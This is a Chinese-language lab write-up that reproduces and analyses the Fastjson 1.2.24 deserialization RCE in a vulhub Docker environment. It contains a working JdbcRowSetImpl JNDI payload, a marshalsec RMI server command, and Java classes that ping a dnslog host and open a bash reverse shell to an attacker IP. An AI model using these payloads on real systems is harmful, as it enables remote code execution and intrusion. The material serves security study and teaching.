一、漏洞说明
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。近几年来fastjson漏洞层出不穷,本文将谈谈近几年来fastjson RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。以这个漏洞为基础,详细分析fastjson漏洞的一些细节问题。
二、环境搭建
1、安装docker(含换源)
编辑软件源配置文件
将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可
<apt-get update 更新索引
apt-get upgrade 更新软件
apt-get dist-upgrade 升级
apt-get clean 删除缓存包
apt-get autoclean 删除未安装的deb包>
apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git
4、启动fastjson环境(1.2.24-rce)
cd /opt/vulhub-master/fastjson/1.2.24-rce
docker-compose up
即可启动
三、漏洞复现
首先下载工具marshalsec
下载地址
https://github.com/RandomRobbieBF/marshalsec-jar
新建文件名为TouchFile.java
并在其中写入以下内容
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping", "xxx.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor(); } catch (Exception e) {
// do nothing
}
}
}
使用javac命令将TouchFile.java编译为TouchFile.class文件
然后开启http服务
端口随意只要不冲突即可
开启marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.xxx:xxxx/#TouchFile" 9999
然后打开靶场页面进行抓包
发送到repeater
将get请求修改为post
添加Content-Type: application/json字段
构建payload
payload如下
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/TouchFile",
"autoCommit":true
}
}
发送,然后我们构建的class中的代码会ping dnslog查看dnslog有无数据
命令执行
首先将java文件中的代码修改为如下内容
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
跟之前的操作一样get改post进行发包
进入docker容器内可查看是否执行成功(是否出现success)
反弹shell
代码大意:
主要目的是在Java应用程序加载时执行一个特定的命令。具体来说,它使用Java的Runtime和
Process类来执行一个bash shell命令,该命令尝试建立一个到指定IP地址和端
口的TCP连接。
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >&
/dev/tcp/192.168.xx.xxx/xxx 0>&1"});
p.waitFor();
} catch (Exception e) {
}
}
同一样的抓包发包
查看监听端口那边的状况
四、工具利用
JNDI-Injection-Exploit
启动方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \[-C] \[远程文路径] \[-A] \[服务器地址]
FastjsonScan
BurpSuite插件 -- FastjsonScan
下载地址
https://github.com/pmiaowu/BurpFastJsonScan
下载完后选择extender添加jar包
五、漏洞分析
利用链流程
参数features是一个可变参数,parseObject方法底层实际上是调用了**parse**方法进行反序列化,并且将反序列化的Object对象转成了JSONObject
public static JSONObject parseObject(String text, Feature... features) {
return (JSONObject) parse(text, features);
}
parse方法会循环获取可变参数features中的值,然后继续调用parse方法
public static Object parse(String text, Feature... features) {
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
return parse(text, featureValues);
}
分析parse方法
public static Object parse(String text, int features) {
if (text == null) {
return null;
}
//将json数据放到了一个DefaultJSONParser对象中
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
//然后调用parse方法解析json
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。
public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
//省略部分代码......
case LBRACE:
//创建一个JSONObject对象
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
//parseObject方法
return parseObject(object, fieldName);
//省略部分代码......
}
}
继续跟进parseObject方法
public final Object parseObject(final Map object, Object fieldName) {
//省略部分代码......
//从json中提取@type
key = lexer.scanSymbol(symbolTable, '"');
//省略部分代码......
//校验@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
//提取type对应的值
String typeName = lexer.scanSymbol(symbolTable, '"');
//然后根据typeName进行类加载
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}
}
//省略部分代码......
//然后将class对象封装成ObjectDeserializer对象
ObjectDeserializer deserializer = config.getDeserializer(clazz);
//然后调用deserialze方法进行反序列化
return deserializer.deserialze(this, clazz, fieldName);
}
parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。
我们来看一下deserializer的内容,如下图所示:
TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了
然后调用了deserialze方法,该方法中的参数如下所示:
deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
//省略部分代码......
//调用createInstance方法实例化
if (object == null && fieldValues == null) {
object = createInstance(parser, type);
if (object == null) {
fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
}
childContext = parser.setContext(context, object, fieldName);
}
//省略部分代码......
//调用parseField方法解析json
boolean match = parseField(parser, key, object, type, fieldValues);
}
我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段
parseField方法
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
//省略部分代码......
FieldDeserializer fieldDeserializer = smartMatch(key);
//SupportNonPublicField选项
final int mask = Feature.SupportNonPublicField.mask;
//if判断会校验SupportNonPublicField选项
if (fieldDeserializer == null
&& (parser.lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
//获取TemplatesImpl对象的属性信息
}
//省略部分代码......
//调用parseField方法解析字段
fieldDeserializer.parseField(parser, object, objectType, fieldValues);
return true;
}
parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞
校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数
parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object
@Override
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
//省略部分代码......
//解析json中的数据(将每个属性的值还原)
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
//省略部分代码......
setValue(object, value);
}
可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)
继续跟进fieldValueDeserilizer的deserialze方法
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
//省略部分代码......
if (lexer.token() == JSONToken.LITERAL_STRING) {
//调用了bytesValue方法
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
//省略部分代码......
}
deserialze方法内部调用了bytesValue方法
bytesValue方法内部调用了确实对json数据中的\_bytecodes值进行了base64解码
触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法
继续分析setValue方法是如何触发漏洞的
public void setValue(Object object, Object value){
//首先校验value是否为null
if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}
try {
//根据outputProperties属性获取对应的方法
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {
if (fieldInfo.fieldClass == AtomicInteger.class) {
AtomicInteger atomic = (AtomicInteger) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicInteger) value).get());
}
} else if (fieldInfo.fieldClass == AtomicLong.class) {
AtomicLong atomic = (AtomicLong) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicLong) value).get());
}
} else if (fieldInfo.fieldClass == AtomicBoolean.class) {
AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicBoolean) value).get());
}
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
//反射调用getOutputProperties方法
Map map = (Map) method.invoke(object);
if (map != null) {
map.putAll((Map) value);
}
} else {
Collection collection = (Collection) method.invoke(object);
if (collection != null) {
collection.addAll((Collection) value);
}
}
} else {
method.invoke(object, value);
}
return;
}
}
//省略部分代码......
}
setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)
fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下
然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法
六、参考文章
https://blog.csdn.net/m0_51683653/article/details/129364136
https://blog.csdn.net/qq_35733751/article/details/119948833
https://ciyfly.github.io/2020/12/16/复现及分析fastjson1-2-24/
https://m.freebuf.com/articles/web/381720.html